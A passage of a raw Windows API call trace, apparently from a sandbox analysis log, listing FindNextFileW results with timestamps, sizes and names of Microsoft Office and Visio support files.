ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1b09036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1b09036, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x295718d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x295718d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x297d49a, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb640, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3863f35, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3863f35, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3863f35, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4848, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41af, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="EADOCU~2.XSN")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99b9a24, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99b9a24, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5101, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="EADOCU~1.XSN")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13e86a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13e86a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd270, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9fabe6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9fabe6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6870, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0186.554] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0186.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45f3450, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45f3450, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45f3450, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0186.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x173da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0186.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="EXCEL_~1.HXC")) returned 1 [0186.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="EXCEL_~1.HXT")) returned 1 [0186.964] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="EXCEL_~1.HXK")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="EXCEL_~2.HXK")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3860, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a9e866, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1e76730, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1e76730, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1e76730, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x154b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="frintl.dll", cAlternateFileName="")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0186.965] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x31af525, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x31af525, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x50a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4b3103f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b3103f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="GRAPH_~1.HXC")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="GRAPH_~1.HXT")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="GRAPH_~1.HXK")) returned 1 [0186.966] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="GRAPH_~2.HXK")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3b181c2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3b181c2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3bd6df0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87d4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="GROOVE~1.HXC")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="GROOVE~1.HXT")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="GROOVE~1.HXK")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="GROOVE~2.HXK")) returned 1 [0186.967] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x30ca74c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x30ca74c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x30ca74c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0186.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0186.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0186.968] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf06cb6d8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf06cb6d8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf06cb6d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3648, dwReserved0=0x0, dwReserved1=0x0, cFileName="IFDPINTL.DLL", cAlternateFileName="")) returned 1 [0186.969] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTLIST.VRD", cAlternateFileName="")) returned 1 [0186.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVENTRY.VRD", cAlternateFileName="")) returned 1 [0186.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Invite or Link.one", cAlternateFileName="INVITE~1.ONE")) returned 1 [0186.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JADE.CSS", cAlternateFileName="")) returned 1 [0186.970] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b5ed86, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b5ed86, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3b5ed86, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.VSL", cAlternateFileName="")) returned 1 [0186.970] FindNextFileW (in: 